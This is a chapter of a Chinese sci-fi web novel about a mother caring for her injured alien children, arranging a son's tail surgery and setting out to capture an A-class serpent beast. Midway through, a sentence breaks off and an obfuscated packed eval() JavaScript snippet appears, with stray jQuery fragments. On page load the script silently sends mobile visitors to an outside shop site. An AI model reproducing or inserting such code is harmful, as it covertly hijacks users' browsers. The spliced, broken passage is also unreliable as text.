文趣网 > 其他小说 > 靠打黑工养崽崽[星际] > 14. 他不能在等了
    栗霜痕昨晚睡得不好,天还没完全亮她就醒了,洗漱完换了衣服,径直走向书笙的房间。

    她敲了两下门。

    没有回应。

    她又敲了两下。

    门里依然静悄悄的。

    栗霜痕心里咯噔了一下,手按上门把就推了进去。

    床铺是空的。

    被子被掀开了一角,床单上留着蜷睡过的褶皱,枕头微微歪着,但没有人。

    栗霜痕的目光飞快地扫了一圈——书桌上那碗饭已经空了,碗筷整整齐齐地摞在桌角,旁边搁着那双筷子,摆得很端正。

    但书笙不在。

    栗霜痕转身快步走回客厅的时候,走廊里的几扇门几乎同时开了。

    书奕摸索着门框走出来,灰白色的瞳孔朝着她脚步声的方向,眉头微微蹙着。

    书念穿着她昨晚分下去的那件浅粉色睡衣,头发翘起一小撮,粉色瞳孔里还带着刚醒的迷蒙。

    书墨从书念隔壁的房间里探出半边身子,浅棕色的头发乱蓬蓬的,揉了揉眼睛。

    书琮是最慢的一个,他拖着小毯子从房间走出来,右脸还贴着纱布。

    “雌母?”书念先开口了,“早。”

    书琮似乎已经瞧见书笙房间的门大开着,愣了一下,然后小小的脸一下子皱了起来,嘴角开始往下撇,眼眶瞬间就红了。

    “二哥……二哥不见了……都是我的错……是我打碎了二哥的弹珠……二哥……”

    书念快步走过去蹲在书琮面前,两只小手扶着他的肩膀,粉色瞳孔认真地看着弟弟哭皱的脸,声音很轻:“书琮,二哥没有生气,只是……”

    但她也说不出个所以然。

    栗霜痕心里只想着要把书笙赶紧带回来,快步走到门前拉开门。

    可她没有想到,书笙就站在门口。

    对着门框侧面的墙壁,背脊挺得笔直,两只手垂在身侧,深紫色的瞳孔低垂着看着地面。

    晨光打在他侧脸上,把他浓密的睫毛在颧骨上投出一道细细的影子。

    栗霜痕看见他这副样子,脑子里嗡地响了一下。

    原主的记忆碎片里有一段被翻了出来。

    昏暗的走廊里,一个小孩对墙站着,膝盖微微发抖,眼眶通红,但不敢哭出声。

    小孩就真的在那里站了几个小时,站到腿软得站不住,慢慢滑下去坐在地上,被原主回头看见后又挣扎着站起来继续贴墙站着。

    栗霜痕站在门里,手还搭着门把,晨风从外面灌进来吹在她脸上,凉凉的。

    “书笙。”她开口,声音比她自己预想的要轻。

    书笙的睫毛颤了一下,但没有抬起来。

    “我自己站过来的。你不用管我。”

    栗霜痕跨出门槛,走到他面前。

    伸手的时候,书笙整个人条件反射地绷紧。

    栗霜痕的手落在了他垂在身侧的那只冰凉的手上,把他的手轻轻握住了。

    手好凉,看起来站了很久。

    书笙的睫毛猛地颤了一下,像被什么烫了一下似的把手缩了回去。

    “我说了不用你管。”

    栗霜痕的手悬在半空中,愣住了。

    门里面传来脚步声。

    书奕摸索着跨过门槛,站到了门框边上,“书笙……”

    书笙没有动。

    “雌母……今天要带你治尾巴……你别乱发脾气……”

    书笙的嘴唇动了动,声音里带着一丝自己都没察觉的颤动:“我的尾巴……治不好的……”

    “能治好。”栗霜痕看着书笙的深紫色瞳孔在晨光里微微颤动着,又补了一句,“我问过医生了,相信雌母……”

    一旁的书墨垂着脑袋,也抓住了自己二哥的手,似乎在安慰书笙不要害怕。

    二哥的尾巴那么漂亮,不治好很亏的。

    一定可以治好的。

    书笙偏过头去不看栗霜痕,声音闷闷地从喉咙里挤出来:“……治不好的。你别浪费晶石。我……”

    书笙还没说完,栗霜痕已经弯腰把他抱了起来,一只手托着他的背,一只手兜住他的腿弯,动作干脆利落。

    书笙整个人在她怀里僵了一瞬,他比书墨重一些,会不会压到雌母。

    “书奕,不用去店铺了,跟着雌母。”栗霜痕没有回头,“书墨,看好弟弟妹妹,等一下雌母用光脑给你们点速食,很快到,别饿着。”

    门内传来书念脆生生的回应:“知道了雌母!”

    栗霜痕抱着书笙转身往巷口走,书奕已经跟了上来,晨光把三人的影子拉成细长的三道,交叠着铺在青灰色的地面上。

    因为昨晚已经预约了,悬浮车现在停在巷口。

    到医院的时候庄砚已经等在大厅里了。

    他显然从光脑上看到了挂号信息,越过栗霜痕的肩膀看了一眼她怀里的书笙,又看了一眼她身侧的书奕,然后什么也没多说,侧身让开走廊:“手术室已经准备好了。跟我来。”

    书笙趴在栗霜痕肩膀上,尾巴从她手臂上慢慢缠上去,尾尖微微蜷着,一直没说话。

    很紧张?

    栗霜痕挑眉,轻轻拍了拍书笙的背。

    书笙被推进手术室之前,栗霜痕弯腰把他放在推床上。

    他的尾巴在床沿上蜷了一下,深紫色的瞳孔抬起来看着她,嘴唇动了动,声音很小很小,小到只有她能听见:“大哥…………会疼吗?”

    栗霜痕伸手把他额前的碎发往后拨了一下,指尖划过他的眉心时轻轻按了一下:“疼了你就喊出来。雌母在外面等着。”

    书笙的睫毛颤了一下,然后闭上了眼睛。

    雌母……不要对我这么好……

    庄砚带着栗霜痕走到走廊另一头的办公室,门关上之后他把那摞单子摊在桌面上,推到她面前。

    “这是联邦药局的专项协议,”庄砚解释,“你要是能猎到两只蛇形异化兽,一只死体,一只活体,医药费全免,另外还有十五万晶石的专项研究基金划到你名下。活体优先,死体保底。”他的目光在栗霜痕脸上停了一秒,又补了一句,“一只活的就够。”

    “但是,你不能提供蛇形异化兽给其他人,任何人都不可以。”

    栗霜痕低头扫了一遍协议,把那几条关键内容在心里过了一遍,然后从庄砚手里接过笔,在签名区利落地签了自己的名字。

    “下午书奕的手术几点?”她放下笔问。

    “三点。”庄砚收了协议,抬头看了她一眼,“你已经交了十万的手术费?”

    “嗯。”

    “为什么不再等等,再等等说不定这十万不用你付了。”庄砚不理解。

    “当时没想到。”栗霜痕坦然承认,“总不能让我的孩子一直等吧。”

    她手里的钱其实根本不够,但联邦对雌性的福利简直好到过分,她为钱焦头烂额,四处打听的时候了解到雌性可以申请困难补贴借款,她申请的五万晶石加上之前挣的晶石刚好十万。

    借的晶石在一年内没有利息,正好可以救急。

    “你的那几个幼崽知道一定会很感动。”

    “或许吧。”栗霜痕站起来,把外套的拉链拉到顶,似乎并没有把这件事放心上,只是垂眸商量,“我明天去抓异化兽,今天我要确保我的孩子安全。”

    庄砚看着她推门走出去的背影,叹了口气。

    她看起来真的很喜欢她的幼崽,但是,为什么她的幼崽受了这么严重的伤……

    以她的能力,不可能保护不了自己的幼崽……

    不过……她为什么要叫她的幼崽孩子?

    难道……这是她们那里的特色叫法……

    他要不要也跟着这么叫,拉进一下关系?

    书笙醒来的时候,视线里是一片模糊的白。他眨了眨眼睛,深紫色的瞳孔慢慢聚焦,输液管从左手手背延伸上去。

    尾巴那边有一点钝钝的胀痛。

    他偏过头。

    床边坐着一个人,低着头,手里握着一只红红的果子,另一只手捏着一把小削皮刀。

    刀尖贴着果皮缓缓地转,果皮一圈一圈地垂落下来,连成一条细细的红色长带,落在他膝盖上铺着的那张卫生纸上。

    书奕。

    “你……你怎么……”书笙开口,嗓子还有点哑。

    书奕的手顿了一下,然后把削皮刀放在碟子旁边,嘴角弯了一下:“醒了?尾巴感觉怎么样?”

    “有点疼。”

    他打量了一圈病房,但房间里没有栗霜痕。

    书笙的尾巴在被子里轻轻蜷了一下,尾尖的纱布边角蹭过床单,传来一阵细碎的痒意。

    “……她呢?”

    书奕没有看他,偏过头去拿起那只削好的苹果,又拿起碟子旁边的小刀,开始切成小瓣。

    刀尖划过果肉的时候发出清脆的、细微的咔嚓声。

    “去交费了。一会儿就回来。”

    书笙偏过头去看书奕手里那只被切成均匀小瓣的苹果,沉默了两秒,“这是什么?”

    书奕切苹果的动作没有停,“你睡着的时候雌母买来的苹果。”

    书笙眯起眼睛看着书奕,声音里那股闷劲儿还没散:“你一个瞎子也认识苹果?”

    “多看点书吧。”书奕拿起一瓣苹果放进嘴里,“要不要吃?很甜。”

    书笙瞪着他看了好几秒,最后把脸别到另一边去了,声音闷闷的:“……不吃。”

    书奕也不强求,把切好的苹果瓣放回碟子里,“你为什么生雌母的气?”

    “她对你很好吗?她明显不知道怎么照顾幼崽!”

    “书笙!”书奕提高音量,明显不认同。

    “我有说错吗?她难道不知道书琮的脸为什么受伤吗?书琮不就是想攒晶石给她买项链才被异化兽攻击的吗?当时要是没有人在旁边,书琮就没命了!”

    “她到底怎么教育的书念?书念小小年纪谎话连篇,知道怎么给自己讨好处,甚至不惜损坏其他人的利益,甚至连你这个大哥都骗!她确实对我们亲近,但她形成的这些坏习惯你确定她离开了这个家之后可以改变吗?”

    “还有,你把我们攒的所有晶石都给她买了食材,确实这一点她做的还可以,她又买了新的食材,但是你竟然不告诉她这些是我们买的,告诉她这是冰箱里本来就有的!你不是最聪明最会讨巧了吗?”

    书奕无法反驳,额角的青筋气得直跳:“这是病房!你别撒泼!小声点!”

    “我说错哪句话了!我一点都没有说错……”

    门口传来一声极轻的响动,像是谁的脚尖不小心碰了一下门框。

    书奕的耳朵动了一下。

    书笙闭了嘴,躺回病床,尾巴在被子里蜷了蜷。

    栗霜痕弯了一下嘴角,推门进去,“书笙,醒啦?雌母刚才去交费,顺便给你买了这个。”

    她从口袋里掏出一枚新弹珠。

    深紫色和浅紫色交缠的纹路像一小片星空,被压缩进了一颗玻璃球里,光线下泛着细碎的银粉光泽。

    书笙的尾巴猛地从被子里探出来,尾尖朝那枚弹珠的方向翘了一寸,又硬生生收回去,假意淡定地搭回床单上。

    但他没忍住,眼角余光偷偷瞟了一下那颗弹珠的纹路。

    栗霜痕假装没看见书笙的小动作,把床头柜上那碟苹果往书笙那边推了推,然后转头看向书奕。

    “下午是你的手术,不要怕。”

    “雌母,我严格意义上已经不算幼崽了。”

    您不用担心我会害怕。

    十三在联邦法律上已经可以独立申领身份芯片。

    雄性十三岁就算半成年。

    “算,怎么不算!”栗霜痕很认真地说,“而且你现在不能自己一个人出门知道吗?除非我联系的阿姨去接你……”

    阿姨……

    书笙瞳孔瞬间收缩。

    阿姨……这个词,在这里简直新意得不要太过分。

    书奕倒是缓缓点了点头,“听雌母的。”

    “对了,你们两个不要随便吵架……”

    “我们没有吵架!”

    书笙说得又快又急,尾音带着一种此地无银三百两的慌张。

    他说完之后自己也意识到了,耳朵尖刷地红了一片,深紫色的瞳孔飞快地移开,别过头。

    书奕在旁边轻轻叹了口气,“雌母,书笙大概心情不好。您不要和他见怪。”

    “行,没吵就好。”栗霜痕自然地翻过话题,“对了,书奕,店铺那边这几天在打扫修整,明天雌母想拜托你过去看一眼。正好试试做完手术怎么样……雌母忙完就去找你。”

    书奕点了点头。

    床上的书笙在被子里蜷了一下。

    此时,书墨缩在客厅角落里,把自己盘成小小的一团。

    他的蛇形比起书笙的纤细许多,墨色的鳞片在午后的光线里泛着哑光,尾巴尖蜷在身体最里侧,一圈一圈地盘着,把自己绕成了一个密实的圆。

    甚至连脑袋都埋进了自己盘起的身体里,只露出小半截细细的蛇信子,在空气中轻轻探着又缩回去。

    书念蹲在他旁边,两只胳膊搭在膝盖上,歪着头,伸出一根手指轻轻碰了一下书墨身体外侧的一小片鳞片。

    书墨轻轻抖了一下,但没有躲开。

    “三哥,你心情不好?”她声音放得很轻。

    书墨把脸从自己盘起的身体里抬起来一小截,深褐色的竖瞳看了她一眼,又缩回去了。

    书

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745242|209264||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    琮右脸的纱布换了一块新的,他在书念旁边蹲下来,深褐色的眼睛看了看地上那团盘得紧紧的蛇形,又看了看书念的表情,然后小声开口,声音软软的:“三哥想雌母了。”

    书念的手指顿了一下,偏过头看着书琮,粉色瞳孔微微收缩了一瞬,然后声音忽然拔高了一截:“谁稀罕她的喜欢!她明明就不喜欢我们,天天和我们演戏!”

    书琮被她突然提高的声音吓得缩了一下脖子,低着头,声音比刚才更小了一点:“明明……一直是你在演戏。”

    书念粉色瞳孔睁大了看着书琮。

    那张小小的还带着一点婴儿肥的脸显得格外认真,眼神没有躲闪也没有害怕,只是安安静静地看着她。

    书念的嘴唇动了一下又合上,合上又动了一下,最终她站起来,把脸别到一边去,声音带着被戳破了什么之后硬撑出来的不耐烦:

    “你们简直不长记性。她以前对我们什么样,你们都忘了吗?”

    地上那团墨色的蛇形轻轻动了一下。

    书墨的尾巴尖从盘着的身体里探出来一截,碰了碰书念的手。

    他不好看。

    他不能肆无忌惮地像书念一样和雌母撒娇。

    他也没有办法恨雌母。

    明明大哥二哥告诉过他,雌母很好的。

    可只从他出生之后,雌母变了。

    他有时候会怀疑,是不是他太难看了,是不是他太不讨喜了,所以雌母才变了。

    书念把脸别过去看着窗外,声音闷闷的,尾音带着颤抖:

    “……我没有演戏。”

    光脑消息弹出的时候,栗霜痕正在查看自己并不多的余额。

    她掏出来看了一眼来电人——庄砚。

    按下接听,还没开口,庄砚的声音就从那头传了过来,语速比平时快了一倍:

    “栗霜痕,你现在能不能出城?有一件事紧急。一只A级异化兽突然偏离了荒区活动带,正在往城区方向冲。部队在前面布了三道防线,目前勉强压制住,但再往前进两公里就进入城区外围了。

    我们的人不敢轻举妄动,那是一只A级异化兽,反扑能力太强,一旦激怒它冲进城区,后果不堪设想。”

    栗霜痕握着光脑的手停了一下。

    A级。

    瘴纹巨蟒是C级,灰脊狼兽是C级,浮光萤兽也是C级。

    她从没见过A级,甚至连B级都没碰到过。

    C级和A级之间的差距不是一个字母的区别。

    她当然知道自己的实力上限在哪里,但不知道A级异化兽的实力。

    “我现在在医院,书奕下午三点的手术。我不能走。”

    光脑那头的庄砚沉默了一瞬,然后他开口:“手术可以推迟……”

    “书奕等了很久了。我不会让他再等。”

    光脑那头安静了两秒:“我理解。但A级异化兽的动向不稳定,如果它在防线上消耗太久……”

    栗霜痕闭了一下眼睛,“庄砚,我可以去城外。拜托你请几个可靠的医生帮我看着书奕和书笙。书奕三点的手术,别推迟,别改时间。他的手术必须按时做。我去把那东西拦下来。”

    “你竟然同意了……”

    “你只需要告诉我它的方位和现在的状态。剩下的我来想办法。我的孩子交给你了。手术正常进行。”

    她挂了光脑,转过身,脸上的表情已经整理好了,朝着床上的书笙弯了一下嘴角:“雌母有点事出去一下。你在这儿好好躺着。书奕手术做完的时候雌母就回来了。”

    书笙看着她,缓缓点了点头。

    她走过走廊转角的时候迎面遇到了庄砚。

    他已经换了一身轻便的外套,手里攥着一枚定位器,看到她的时候把那东西递过来,没有多余的寒暄:“定位已经传到你的光脑了,异化兽目前在城郊交界线西北方向四公里处,防线上已经拖了二十分钟。我和你一起去。”

    栗霜痕接过定位器别在衣领内侧,没有多说话,从他身侧走了过去。

    传送通道的光在栗霜痕眼前炸开又合拢。

    她低头,等脚下踩实的时候,她发现自己站在一片灰黄色的荒地上。

    她眯着眼适应了一下光线的变化,然后转头看了一眼身后的庄砚,他穿着深灰色的作战外套,袖口扎紧,腰带扣得严严实实,看起来像是做过这种紧急出勤很多次了。

    “这个,这个传送。”栗霜痕指了指脚下的地面,“是怎么做到的?”

    庄砚被她问得愣了一下,低头检查定位器的动作顿了一瞬:“传送站。联邦主城区外围每隔五公里设一个,紧急情况下可以压缩空间节点,把人送到指定坐标。你不知道?”

    栗霜痕沉默了一秒,然后由衷地感叹了一句:“和平世界的科技就是发达。”

    庄砚还没来得及琢磨她那句话是什么意思,前面的防线上传来一声低沉的咆哮,混着金属栅栏被撞得嗡嗡作响的震动声。

    两个人同时抬头看过去。

    大约三百米外,部队的第三道防线是一排三米高的栅栏,栅栏之间拉着通高压电的金属网,蓝白色的电光在网面上噼啪闪烁。

    栅栏后面是一个巨大的正在蠕动的暗青色轮廓。

    栗霜痕眯眼看了一下,发现那东西的体型比瘴纹巨蟒大了不止一圈,长度目测至少有七八米,盘踞在地上像一截被砍断的巨木。

    它的鳞片是暗青色的,边缘镶着一圈极细的银灰色纹路,泛着一层冷冽的光泽。

    蛇形。

    栗霜痕的眼睛亮了一下。

    “活的。”她说。

    这可是白花花的晶石啊!

    庄砚顺着她的目光看过去:“那是A级的铁脊蟒。它的鳞片硬度超过现今的所有金属,普通武器打不穿,精神力攻击对它效果也不明显,天生对精神力有相当高的抗性。联邦那边还没有收到这条消息,因此没来得及派精锐部队来这里。这里只有附近紧急联系的两支队伍。”

    栗霜痕歪了歪头,看着那条庞大的暗青色蛇形异化兽盘在栅栏后面缓慢地移动着,尾尖在沙地上拖出一道深沟。

    “庄砚,”栗霜痕开口,目光还锁在那条铁脊蟒身上,“你那一只死体一只活体的需求,活捉这一只,够不够抵那两具?”

    庄砚正在往自己手腕上套防护臂甲,听到这句话手一滑,臂甲扣错了一个卡槽。

    他抬起头看着栗霜痕,浅色的瞳孔里那种“你疯了吗”的情绪几乎要溢出来:“你刚才说什么?”

    “我说活捉这只。够不够?”

    “那是A级。铁脊蟒。尾扫的力量能打断成年雄性的脊椎,别说我们两个人,一支小型精锐部队都未必能从它手里安全逃身。”

    “你只说够不够。”